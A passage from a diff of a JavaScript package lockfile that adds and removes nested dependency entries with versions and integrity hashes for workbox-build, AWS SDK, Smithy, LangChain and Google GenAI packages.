"sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="], - - "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="], - - "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="], - - "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="], - - "workbox-build/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "workbox-build/@babel/core/@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="], "workbox-build/source-map/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="], @@ -9149,25 +8517,43 @@ "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], - "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="], + + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="], + + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@google/genai/google-auth-library/gaxios/rimraf/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], + + "@google/genai/google-auth-library/gaxios/rimraf/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], + + "@google/genai/google-auth-library/gaxios/rimraf/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], @@ -9175,6 +8561,14 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="], @@ -9185,37 +8579,51 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="], 